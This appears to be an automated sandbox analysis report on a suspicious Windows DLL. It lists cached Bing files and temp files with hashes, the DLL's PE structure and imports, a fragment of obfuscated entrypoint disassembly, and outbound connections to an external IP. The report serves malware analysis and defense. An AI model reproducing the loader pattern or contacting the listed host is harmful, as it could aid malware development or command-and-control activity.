...P......P.....$`..............@.....j.0.G..p. p.@.`+.``..>^.`........ k@.@.P..p........0... .........................P....``....i...@.. ..0@.......^f....P.

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PSUEOSZZ\eRYlUYIMYsB_Pt8B7FTik-pl5cs.gz[1].js Download File
Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	ASCII text, with no line terminators
Category:	downloaded
Size (bytes):	229
Entropy (8bit):	4.773871204083538
Encrypted:	false
SSDEEP:	3:2LGffIc6CaA5FSAGG4Aj6NhyII6RwZtSAnM+LAX6jUYkjdnwO6yJxWbMPJ/WrE6J:2LGXX6wFSADj6iIunnyh6TbMFsise2
MD5:	EEE26AAC05916E789B25E56157B2C712
SHA1:	5B35C3F44331CC91FC4BAB7D2D710C90E538BC8B
SHA-256:	249BCDCAA655BDEE9D61EDFF9D93544FA343E0C2B4DCA4EC4264AF2CB00216C2
SHA-512:	A664F5A91230C0715758416ADACEEAEFDC9E1A567A20A2331A476A82E08DF7268914DA2F085846A744B073011FD36B1FB47B8E4EED3A0C9F908790439C930538
Malicious:	false
IE Cache URL:	https://www.bing.com/rp/eRYlUYIMYsB_Pt8B7FTik-pl5cs.gz.js
Preview:	(function(){var t=_ge("id_h"),n=_ge("langChange"),i=_ge("me_header"),r=_ge("langDId"),u=_ge("mapContainer");t!=null&&n!=null&&i==null&&(r===null\|\|u===null)&&(t.insertBefore(n,t.firstChild),n.className=n.className+" langdisp")})()

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PSUEOSZZ\eaMqCdNxIXjLc0ATep7tsFkfmSA.gz[1].js Download File
Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	ASCII text, with very long lines, with no line terminators
Category:	downloaded
Size (bytes):	2678
Entropy (8bit):	5.2826483006453255
Encrypted:	false
SSDEEP:	48:5sksiMwg1S0h195DlYt/5ZS/wAtKciZIgDa4V8ahSuf/Z/92zBDZDNJC0x0M:yklg1zbed3SBkdZYcZGVFNJCRM
MD5:	270D1E6437F036799637F0E1DFBDCAB5
SHA1:	5EDC39E2B6B1EF946F200282023DEDA21AC22DDE
SHA-256:	783AC9FA4590EB0F713A5BCB1E402A1CB0EE32BB06B3C7558043D9459F47956E
SHA-512:	10A5CE856D909C5C6618DE662DF1C21FA515D8B508938898E4EE64A70B61BE5F219F50917E4605BB57DB6825C925D37F01695A08A01A3C58E5194268B2F4DB3D
Malicious:	false
IE Cache URL:	https://www.bing.com/rp/eaMqCdNxIXjLc0ATep7tsFkfmSA.gz.js
Preview:	var IPv6Tests;(function(n){function c(t){var r,c,o,l,f,s,i,a,v;try{if(y(),t==null\|\|t.length==0)return;if(r=sj_cook.get(n.ipv6testcookie,n.ipv6testcrumb),r!=null&&r=="1"&&!u)return;if(c=sj_cook.get(n.ipv6testcookie,n.iptypecrumb),r!=null&&c&&u&&(o=Number(r),l=(new Date).getTime(),o!=NaN&&o>l))return;if(f=_d.getElementsByTagName("head")[0],!f)return;if(s="ipV6TestScript"+t,i=sj_ce("script",s),i.type="text/javascript",i.async=!0,i.onerror=function(){Log.Log("ipv6test","IPv6Test Dom_ "+t,"IPv6TestError",!1,"Error","JSONP call resulted in error.")},a=_ge(s),a&&f)return;f.insertBefore(i,f.firstChild);i.setAttribute("src",_w.location.protocol+"//"+t+".bing.com/ipv6test/test");e&&p();v=u?(new Date).getTime()+h:"1";sj_cook.set(n.ipv6testcookie,n.ipv6testcrumb,v.toString(),!1)}catch(w){Log.Log("ipv6test","Dom_ "+t,"IPv6TestError",!1,"Error","Failed to make JSONP call. Exception - "+w.message)}}function l(t){if(!t){Log.Log("ipv6test","IPv6TestResponseError","IPv6TestError",!1,"Error","Got null re

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PSUEOSZZ\errorPageStrings[1] Download File
Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	UTF-8 Unicode (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	4720
Entropy (8bit):	5.164796203267696
Encrypted:	false
SSDEEP:	96:z9UUiqRxqH211CUIRgRLnRynjZbRXkRPRk6C87Apsat/5/+mhPcF+5g+mOQb7A9o:JsUOG1yNlX6ZzWpHOWLia16Cb7bk
MD5:	D65EC06F21C379C87040B83CC1ABAC6B
SHA1:	208D0A0BB775661758394BE7E4AFB18357E46C8B
SHA-256:	A1270E90CEA31B46432EC44731BF4400D22B38EB2855326BF934FE8F1B169A4F
SHA-512:	8A166D26B49A5D95AEA49BC649E5EA58786A2191F4D2ADAC6F5FBB7523940CE4482D6A2502AA870A931224F215CB2010A8C9B99A2C1820150E4D365CAB28299E
Malicious:	false
Preview:	.//Split out for localization...var L_GOBACK_TEXT = "Go back to the previous page.";..var L_REFRESH_TEXT = "Refresh the page.";..var L_MOREINFO_TEXT = "More information";..var L_OFFLINE_USERS_TEXT = "For offline users";..var L_RELOAD_TEXT = "Retype the address.";..var L_HIDE_HOTKEYS_TEXT = "Hide tab shortcuts";..var L_SHOW_HOTKEYS_TEXT = "Show more tab shortcuts";..var L_CONNECTION_OFF_TEXT = "You are not connected to the Internet. Check your Internet connection.";..var L_CONNECTION_ON_TEXT = "It appears you are connected to the Internet, but you might want to try to reconnect to the Internet.";....//used by invalidcert.js and hstscerterror.js..var L_CertUnknownCA_TEXT = "Your PC doesn\u2019t trust this website\u2019s security certificate.";..var L_CertExpired_TEXT = "The website\u2019s security certificate is not yet valid or has expired.";..var L_CertCNMismatch_TEXT = "The hostname in the website\u2019s security certificate differs from the website you are trying to visit.";..var L

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\WJ8I2OL4\4FU4I5GJ.htm Download File
Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	HTML document, UTF-8 Unicode text, with very long lines, with CRLF, LF line terminators
Category:	downloaded
Size (bytes):	60387
Entropy (8bit):	5.762519122366538
Encrypted:	false
SSDEEP:	1536:GdrSCXrLQ4o3HuzcpUQx3ETOuKsIecFXdAjvd594fJLYvcsbkb097Q53Opw:GhLQt3OwmQxsd59RUew
MD5:	812B06CF552A9865FFC4A460177FE62A
SHA1:	221A73235739FAE5E3155B52E19AB00E2FC37B05
SHA-256:	272F2001B14DD8262789D12B0F906DA5D716D3C08C89DD78D84B1361E685370A
SHA-512:	876748EA811FA6EF35F957E63FA7AD63754874B9EF31D2902D5E28EEDD97C1A6292DDF94C762D6BA0AE0304DC92FF19FEB61B3C7BFCDFB5E46390F88E2C94B84
Malicious:	false
IE Cache URL:	https://www.bing.com/?form=REDIRERR
Preview:	<!doctype html><html lang="en" dir="ltr"><head><meta name="theme-color" content="#4F4F4F" /><meta name="description" content="Bing helps you turn information into action, making it faster and easier to go from searching to doing." /><meta http-equiv="X-UA-Compatible" content="IE=edge" /><meta name="viewport" content="width=device-width, initial-scale=1.0" /><meta property="fb:app_id" content="570810223073062" /><meta property="og:type" content="website" /><meta property="og:title" content="Info" /><meta property="og:image" content="https://www.bing.com/th?id=OHR.EggTree_ROW9453259256_tmb.jpg&rf=" /><meta property="og:image:width" content="1366" /><meta property="og:image:height" content="768" /><meta property="og:url" content="https://www.bing.com/?form=HPFBBK&ssd=20210404_0700&mkt=de-CH" /><meta property="og:site_name" content="Bing" /><meta property="og:description" content="If you find yourself in Germany or Austria around " /><title>Bing</title><link rel="shortcut icon"

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\WJ8I2OL4\5rqGloMo94v3vwNVR5OsxDNd8d0[1].svg Download File
Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	461
Entropy (8bit):	4.834490109266682
Encrypted:	false
SSDEEP:	6:tI9mc4sl3WGPXN4x7ZguUz/KVqNFvneuFNH2N9wF+tC77LkeWVLKetCsYuwdOvX0:t41WeXNC1f3q/7H2DIZWYeIsrGYyKYx7
MD5:	4E67D347D439EEB1438AA8C0BF671B6B
SHA1:	E6BA86968328F78BF7BF03554793ACC4335DF1DD
SHA-256:	74DEB89D481050FD76A788660674BEA6C2A06B9272D19BC15F4732571502D94A
SHA-512:	BE40E5C7BB0E9F4C1687FFDDBD1FC16F1D2B19B40AB4865BE81DD5CF5F2D8F469E090219A5814B8DAED3E2CD711D4532E648664BFA601D1FF7BBAA83392D320E
Malicious:	false
IE Cache URL:	https://www.bing.com/rp/5rqGloMo94v3vwNVR5OsxDNd8d0.svg
Preview:	<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 32 32"><title>UserSignedOutIcon</title><circle cx="16" cy="16" r="16" fill="#eee"/><path d="M12.73 13.1a3.271 3.271 0 1 1 3.27 3.2 3.237 3.237 0 0 1-3.27-3.2zm-2.73 9.069h1.088a4.91 4.91 0 0 1 9.818 0h1.094a5.884 5.884 0 0 0-3.738-5.434 4.238 4.238 0 0 0 2.1-3.635 4.366 4.366 0 0 0-8.73 0 4.238 4.238 0 0 0 2.1 3.635 5.878 5.878 0 0 0-3.732 5.434z" fill="#666"/><path fill="none" d="M0 0h32v32h-32z"/></svg>

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\WJ8I2OL4\6sxhavkE4_SZHA_K4rwWmg67vF0.gz[1].js Download File
Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	ASCII text, with very long lines
Category:	downloaded
Size (bytes):	20320
Entropy (8bit):	5.35616705330287
Encrypted:	false
SSDEEP:	384:Kh4xTJXiXZ4sb4ZENXjTDDoFWZ3BnqIfP5IDV6s4RKAvKXAL5Nuwbv++9O:YoTdiJpjBpBnqIH+Z6se4XALueO
MD5:	07F6B49331D0BD13597934A20FAC385B
SHA1:	B39E1439D7FC072AF4961D4AB6DE07D0BC64B986
SHA-256:	4752E030AC235C73E92EC8BBF124D9A32A424457CA9A6D6027A9595DA76F98D7
SHA-512:	333B12B6BC7F72156026829E820A4F24759E15973B474E2FFB264DEE4C50B0E478128255E416F3194E8C170A28DF02AA425D720CC5E15BC2382EA2D6D57A6F5B
Malicious:	false
IE Cache URL:	https://www.bing.com/rp/6sxhavkE4_SZHA_K4rwWmg67vF0.gz.js
Preview:	/!DisableJavascriptProfiler/.var BM=BM\|\|{};BM.config={B:{timeout:250,delay:750,maxUrlLength:300,sendlimit:20,maxPayloadSize:14e3},V:{distance:20},N:{maxUrlLength:300},E:{buffer:30,timeout:5e3,maxUrlLength:300},C:{distance:10}},function(n){function vt(){if(!document.querySelector\|\|!document.querySelectorAll){k({FN:"init",S:"QuerySelector"});return}w={};e=[];ft=1;ut=0;rt=0;o=[];s=0;h=!1;var n=Math.floor(Math.random()*1e4).toString(36);t={P:{C:0,N:0,I:n,S:fi,M:r,T:0,K:r,F:0}};vi()}function ei(n,t){var r={};for(var i in n)i.indexOf("_")!==0&&(i in t&&(n[i]!==t[i]\|\|i==="i")?(r[i]=t[i],n[i]=t[i]):r[i]=null);return r}function oi(n){var i={};for(var t in n)n.hasOwnProperty(t)&&(i[t]=n[t]);return i}function b(n,t,r,u){if(!h){k({FN:"snapshot",S:n});return}r=r\|\|gt;t=t\|\|!1;var f=g()+r;ot(o,n)===-1&&o.push(n);t?(yt(),pt(t,u)):f>s&&(yt(),rt=sb_st(pt,r),s=f)}function k(n){var u={T:"CI.BoxModelError",FID:"CI",Name:ht,SV:ct,P:t&&"P"in t?d(t.P):r,TS:f(),ST:v},i,e;for(i in n)u[i]=n[i];e=d(u);wt(e)}func

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\WJ8I2OL4\JDHEvZVDnqsG9UcxzgIdtGb6thw.gz[1].js Download File
Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	ASCII text, with very long lines, with no line terminators
Category:	downloaded
Size (bytes):	408
Entropy (8bit):	5.040387533075148
Encrypted:	false
SSDEEP:	12:2QWV6yRZ1nkDXAn357CXYX0cO2mAICL2b3TRn:2QO6P+5OYXJPi3TRn
MD5:	B4D53E840DB74C55CC3E3E6B44C3DAC1
SHA1:	89616D8595CF2D26B581287239AFB62655426315
SHA-256:	622B88D7D03DDACC92B81FE80A30B3D5A04072268BF9473BB29621E884AAB5F6
SHA-512:	4798E4E1E907EAE161E67B9BAB42206CE0F22530871EEC63582161E29DD00D2D7034E7D12CB3FE56FFF673BC9BB01F0646F9CA5DAED288134CB25978EFBBEC8F
Malicious:	false
IE Cache URL:	https://www.bing.com/rp/JDHEvZVDnqsG9UcxzgIdtGb6thw.gz.js
Preview:	(function(){function u(){n&&(n.value.length>0?Lib.CssClass.add(sj_b,t):Lib.CssClass.remove(sj_b,t))}function f(r){n.value="";Lib.CssClass.remove(sj_b,t);sj_log("CI.XButton","Clicked","1");i&&Lib.CssClass.add(i,"b_focus");n.focus();n.click();r&&(r.preventDefault(),r.stopPropagation())}var i=_ge("b_header"),n=_ge("sb_form_q"),r=_ge("sb_clt"),t="b_sbText";n&&r&&(sj_be(r,"click",f),sj_be(n,"keyup",u),u())})()

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\WJ8I2OL4\bLULVERLX4vU6bjspboNMw9vl_0.gz[1].js Download File
Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	very short file (no magic)
Category:	downloaded
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:V:V
MD5:	CFCD208495D565EF66E7DFF9F98764DA
SHA1:	B6589FC6AB0DC82CF12099D1C2D40AB994E8410C
SHA-256:	5FECEB66FFC86F38D952786C6D696C79C2DBC239DD4E91B46729D73A27FB57E9
SHA-512:	31BCA02094EB78126A517B206A88C73CFA9EC6F704C7030D18212CACE820F025F00BF0EA68DBF3F3A5436CA63B53BF7BF80AD8D5DE7D8359D0B7FED9DBC3AB99
Malicious:	false
IE Cache URL:	https://www.bing.com/rp/bLULVERLX4vU6bjspboNMw9vl_0.gz.js
Preview:	0

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\WJ8I2OL4\errorPageStrings[1] Download File
Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	UTF-8 Unicode (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	4720
Entropy (8bit):	5.164796203267696
Encrypted:	false
SSDEEP:	96:z9UUiqRxqH211CUIRgRLnRynjZbRXkRPRk6C87Apsat/5/+mhPcF+5g+mOQb7A9o:JsUOG1yNlX6ZzWpHOWLia16Cb7bk
MD5:	D65EC06F21C379C87040B83CC1ABAC6B
SHA1:	208D0A0BB775661758394BE7E4AFB18357E46C8B
SHA-256:	A1270E90CEA31B46432EC44731BF4400D22B38EB2855326BF934FE8F1B169A4F
SHA-512:	8A166D26B49A5D95AEA49BC649E5EA58786A2191F4D2ADAC6F5FBB7523940CE4482D6A2502AA870A931224F215CB2010A8C9B99A2C1820150E4D365CAB28299E
Malicious:	false
Preview:	.//Split out for localization...var L_GOBACK_TEXT = "Go back to the previous page.";..var L_REFRESH_TEXT = "Refresh the page.";..var L_MOREINFO_TEXT = "More information";..var L_OFFLINE_USERS_TEXT = "For offline users";..var L_RELOAD_TEXT = "Retype the address.";..var L_HIDE_HOTKEYS_TEXT = "Hide tab shortcuts";..var L_SHOW_HOTKEYS_TEXT = "Show more tab shortcuts";..var L_CONNECTION_OFF_TEXT = "You are not connected to the Internet. Check your Internet connection.";..var L_CONNECTION_ON_TEXT = "It appears you are connected to the Internet, but you might want to try to reconnect to the Internet.";....//used by invalidcert.js and hstscerterror.js..var L_CertUnknownCA_TEXT = "Your PC doesn\u2019t trust this website\u2019s security certificate.";..var L_CertExpired_TEXT = "The website\u2019s security certificate is not yet valid or has expired.";..var L_CertCNMismatch_TEXT = "The hostname in the website\u2019s security certificate differs from the website you are trying to visit.";..var L

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\WJ8I2OL4\httpErrorPagesScripts[1] Download File
Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	UTF-8 Unicode (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	12105
Entropy (8bit):	5.451485481468043
Encrypted:	false
SSDEEP:	192:x20iniOciwd1BtvjrG8tAGGGVWnvyJVUrUiki3ayimi5ezLCvJG1gwm3z:xPini/i+1Btvjy815ZVUwiki3ayimi5f
MD5:	9234071287E637F85D721463C488704C
SHA1:	CCA09B1E0FBA38BA29D3972ED8DCECEFDEF8C152
SHA-256:	65CC039890C7CEB927CE40F6F199D74E49B8058C3F8A6E22E8F916AD90EA8649
SHA-512:	87D691987E7A2F69AD8605F35F94241AB7E68AD4F55AD384F1F0D40DC59FFD1432C758123661EE39443D624C881B01DCD228A67AFB8700FE5E66FC794A6C0384
Malicious:	false
Preview:	...function isExternalUrlSafeForNavigation(urlStr)..{..var regEx = new RegExp("^(http(s?)\|ftp\|file)://", "i");..return regEx.exec(urlStr);..}..function clickRefresh()..{..var location = window.location.href;..var poundIndex = location.indexOf('#');..if (poundIndex != -1 && poundIndex+1 < location.length && isExternalUrlSafeForNavigation(location.substring(poundIndex+1)))..{..window.location.replace(location.substring(poundIndex+1));..}..}..function navCancelInit()..{..var location = window.location.href;..var poundIndex = location.indexOf('#');..if (poundIndex != -1 && poundIndex+1 < location.length && isExternalUrlSafeForNavigation(location.substring(poundIndex+1)))..{..var bElement = document.createElement("A");..bElement.innerText = L_REFRESH_TEXT;..bElement.href = 'javascript:clickRefresh()';..navCancelContainer.appendChild(bElement);..}..else..{..var textNode = document.createTextNode(L_RELOAD_TEXT);..navCancelContainer.appendChild(textNode);..}..}..function getDisplayValue(elem

C:\Users\user\AppData\Local\Temp\JavaDeployReg.log Download File
Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	ASCII text, with CRLF line terminators
Category:	modified
Size (bytes):	89
Entropy (8bit):	4.412554678800313
Encrypted:	false
SSDEEP:	3:oVXU17FUTyWIqH8JOGXnE17FUTyWIgn:o9U5FUWWIiqE5FUWWIg
MD5:	11D36C7860FE14809F9264420D47CD90
SHA1:	25F4595DFD3F227E45EA9436D3693159E46E0535
SHA-256:	30F6F4E5353E34087AAB29142A618384BC74DD567096C3FA252B6563709E19E0
SHA-512:	695DF2B7507FA16C76CB53B75B7D783B506974A166D8D8B0D91E861E833580851E666C276B531022A8F3176B0AE73C4BB37885D14F833C9414FF5DFD7A3482F6
Malicious:	false
Preview:	[2021/04/04 16:02:58.148] Latest deploy version: ..[2021/04/04 16:02:58.148] 11.211.2 ..

C:\Users\user\AppData\Local\Temp\~DF018886609A78E0A2.TMP Download File
Process:	C:\Program Files\internet explorer\iexplore.exe
File Type:	data
Category:	dropped
Size (bytes):	53702
Entropy (8bit):	1.4220318854466942
Encrypted:	false
SSDEEP:	384:kBqoxKAuqR+6cGPcZpifMAfMnfMhTBofMAfMg:4MSMfMqMSMg
MD5:	EFC22711CC3198F4C920AE3D70B47386
SHA1:	EE38B3E7E5B57498C38A934A4746BD8A48C7136C
SHA-256:	B75DF9ABC6ED9FE716FB0C05CFDFBC2514F2AD0F93D96D50860D3DD695439758
SHA-512:	B5DF8C0EF4DA026E12E6011E411E8ED8BAD2328C65D0BE2B0A9E829FC9B4A9592AF50CD8F824E693F8A7472E39470BACB012675FE22FAC37E06CD0202FDA5B83
Malicious:	false
Preview:	.............................%..H..M..{y..+.0...(................... ...............................................%..H..M..{y..+.0...(................... ..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\~DF1781971F6DDEC396.TMP Download File
Process:	C:\Program Files\internet explorer\iexplore.exe
File Type:	data
Category:	dropped
Size (bytes):	39601
Entropy (8bit):	0.5659333175935202
Encrypted:	false
SSDEEP:	96:kBqoxKAuvScS+/hDqxLyZ+0gRzyZ+0gRXyZ+0gRc:kBqoxKAuqR+/hDqxLyZKyZKyZz
MD5:	F5EC46D360C2DB3589E11DF8EFB77844
SHA1:	1F1F8C5DFCD64E7D0D160D70218D56A12441CF11
SHA-256:	46FDA791A076E9BC1BE427C3809C0920756B4B0774927C7D267BB71FE30AA308
SHA-512:	BC55BC5D0BAB7D9153480C022050E9DA5FFF13D65C46BFBC3B5DCBBEAD1ABE4034DE8FC455DE1316A350E1817638736784631FC07B97FCB6A42F9B904FA46EAA
Malicious:	false
Preview:	.............................%..H..M..{y..+.0...(................... ...............................................%..H..M..{y..+.0...(................... ..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\~DFD5883835AA87FACD.TMP Download File
Process:	C:\Program Files\internet explorer\iexplore.exe
File Type:	data
Category:	dropped
Size (bytes):	39745
Entropy (8bit):	0.5951299018917467
Encrypted:	false
SSDEEP:	96:kBqoxKAuvScS+OSDir42mAHlgmAHlomAHl5:kBqoxKAuqR+OIir420Md
MD5:	C31EF9DEBAF503E15BEF41EB128AFF94
SHA1:	63B6B5EA23D114EA7AC0416959A6AEA53FDE625A
SHA-256:	E3B42E0748D0C9286B3D94554EB2735536883D3FB18E89037511FFEB179BBDBF
SHA-512:	DEB658A56778BD5987B1D36569923464587BD4D17563C58C14386F2BD5292193CBC4F591B4ADEA913A4C366C2338E5EFA1D926710112D02187FCE0667FE100F3
Malicious:	false
Preview:	.............................%..H..M..{y..+.0...(................... ...............................................%..H..M..{y..+.0...(................... ..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\~DFE3F4BFAB784B55BB.TMP Download File
Process:	C:\Program Files\internet explorer\iexplore.exe
File Type:	data
Category:	dropped
Size (bytes):	13237
Entropy (8bit):	0.5994303505876222
Encrypted:	false
SSDEEP:	96:kBqoItStMtCEG1pEGKzGKdGFLEGKdGk1GKMLp2:kBqoIMSX
MD5:	42E88EB9215720A98E6693E58AB7059C
SHA1:	B821C69EBB450B7FB4634F7567AAE014C636B728
SHA-256:	48F99F2EE3D823560649FF192F62B6C5DB09DE39EC0CEC24D25A9128C1419EFE
SHA-512:	2F313B1363900085F836DC24C476B1C7DC090750C9EDBE9B8DAE421D33923C597FE831F8EA42A319206B3807631C12364EECB3B0D52402E804A9FF2867D3D1AA
Malicious:	false
Preview:	.............................%..H..M..{y..+.0...(................... ...............................................%..H..M..{y..+.0...(................... ..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\~DFEE814DD0E66FBAC9.TMP Download File
Process:	C:\Program Files\internet explorer\iexplore.exe
File Type:	data
Category:	dropped
Size (bytes):	12933
Entropy (8bit):	0.41066654260838553
Encrypted:	false
SSDEEP:	24:c9lLh9lLh9lIn9lIn9lo3DF9lo3J9lW3SUGGxZUGIHx2:kBqoI3S3M3SUGGxZUGIHx2
MD5:	9AFCD50C998826ED877B01482E0033EE
SHA1:	B265C9933FE6B3B7454BBE07A0990E60C06E3475
SHA-256:	F99411584A280EE7DCBED4BFD34C883DFFC6559858C069C43D74F205F64C707A
SHA-512:	9D245DE2FEC85809F8E84BB42D5254C2E11DCD8E44992528DA8CF04CBCDA0DCEE259701E9F07D22FC83C456D48DF275D24E75F2282E20DDE43887AC56CD30EEA
Malicious:	false
Preview:	.............................%..H..M..{y..+.0...(................... ...............................................%..H..M..{y..+.0...(................... ..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

Static File Info

General
File type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Entropy (8bit):	5.561060323428977
TrID:	Win32 Dynamic Link Library (generic) (1002004/3) 99.60% Generic Win/DOS Executable (2004/3) 0.20% DOS Executable Generic (2002/1) 0.20% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	swlsGbeQwT.dll
File size:	114200
MD5:	bedfac54b06b97b4de8132d6bfd40de0
SHA1:	e238b2b47e1ccb3ebdadb82eff72125f4747a014
SHA256:	22682ac6f8c484759f44786cc73109993d858a29b25fa1512196154cf2f0299c
SHA512:	17b3c38e8176a2750d2dcc695a0301848c0b18b8772e8d20a8a5d3f7c0aed14d4d2d88877493f15d18d4b464babeeff3571b93bf277ce306b8b53650b2258dab
SSDEEP:	1536:DWKaY5Se9WnVI78XvnoxJasJvRHKmyGDvDk0Rt9Y56l5ZMpvV05o9OX5xPw8:DWa0eQnVI7qCqZGDvDk4wol5w0EU
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......._W...6e..6e..6e..)v..6e...w..6e.Rich.6e.................PE..L.....f`...........!.....Z...........`.......p.....................

File Icon


Icon Hash:	74f0e4ecccdce0e4

Static PE Info

General
Entrypoint:	0x10006099
Entrypoint Section:	.code
Digitally signed:	false
Imagebase:	0x10000000
Subsystem:	windows gui
Image File Characteristics:	32BIT_MACHINE, EXECUTABLE_IMAGE, DLL
DLL Characteristics:
Time Stamp:	0x6066E9D0 [Fri Apr 2 09:54:24 2021 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	811de8e945c2087a6e052096546cd842

Entrypoint Preview

Instruction
push ebx
push ebx
and dword ptr [esp], 00000000h
add dword ptr [esp], ebp
mov ebp, esp
add esp, FFFFFFF8h
push esi
mov dword ptr [esp], FFFF0000h
call 00007FD490BCD580h
push ecx
add dword ptr [esp], 00000247h
sub dword ptr [esp], ecx
push ecx
mov dword ptr [esp], 00005267h
call 00007FD490BC9F29h
push esi
mov esi, eax
or esi, eax
mov eax, esi
pop esi
jne 00007FD490BCF022h
pushad
push 00000000h
mov dword ptr [esp], edi
xor edi, edi
or edi, dword ptr [ebx+0041856Bh]
mov eax, edi
pop edi
push edx
add dword ptr [esp], 40h
sub dword ptr [esp], edx
push ebx
mov dword ptr [esp], 00001000h
push edi
sub dword ptr [esp], edi
xor dword ptr [esp], eax
push 00000000h
call dword ptr [ebx+0045D014h]
mov dword ptr [ebp-04h], ecx
and ecx, 00000000h
xor ecx, eax
and edi, 00000000h
or edi, ecx
mov ecx, dword ptr [ebp-04h]
push eax
sub eax, dword ptr [esp]
or eax, edi
and dword ptr [ebx+0041809Bh], 00000000h
xor dword ptr [ebx+0041809Bh], eax
pop eax
cmp ebx, 00000000h
jbe 00007FD490BCEFFEh
add dword ptr [ebx+004180F7h], ebx
add dword ptr [ebx+00418633h], ebx
mov dword ptr [ebp-04h], edx
sub edx, edx
xor edx, dword ptr [ebx+004180F7h]
mov esi, edx
mov edx, dword ptr [ebp-04h]
push edi
xor edi, dword ptr [esp]
xor edi, dword ptr [ebx+0041856Bh]
and ecx, 00000000h
or ecx, edi
pop edi
cld
rep movsb
push ebx
mov dword ptr [eax+eax], 00000000h

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x17000	0x51	.data
IMAGE_DIRECTORY_ENTRY_IMPORT	0x5d050	0x64	.data
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x0	0x0
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x5d000	0x50	.data
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.code	0x1000	0x15966	0x15a00	False	0.70799087789	data	6.48337924377	IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ
.data	0x17000	0x51	0x200	False	0.140625	data	0.863325225156	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.rdata	0x18000	0x44c5f	0x1800	False	0.13330078125	data	0.926783139034	IMAGE_SCN_MEM_WRITE, IMAGE_SCN_MEM_READ
.data	0x5d000	0x250	0x400	False	0.2900390625	data	2.96075631554	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_WRITE, IMAGE_SCN_MEM_READ

Imports

DLL	Import
user32.dll	GetActiveWindow, CheckDlgButton, CheckMenuItem, CheckRadioButton, CheckMenuRadioItem
kernel32.dll	GetProcAddress, LoadLibraryA, VirtualProtect, VirtualAlloc, lstrlenA, GetCurrentThreadId, GetCurrentProcess, GetCurrentThread, Module32FirstW
ole32.dll	OleInitialize
comctl32.dll	DPA_Sort

Exports

Name	Ordinal	Address
StartService	1	0x1000b959

Network Behavior

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Apr 4, 2021 16:02:59.451606989 CEST	49740	80	192.168.2.3	185.243.114.196
Apr 4, 2021 16:02:59.452030897 CEST	49741	80	192.168.2.3	185.243.114.196
Apr 4, 2021 16:03:00.465363026 CEST	49740	80	192.168.2.3	185.243.114.196
Apr 4, 2021 16:03:00.465465069 CEST	49741	80	192.168.2.3	185.243.114.196
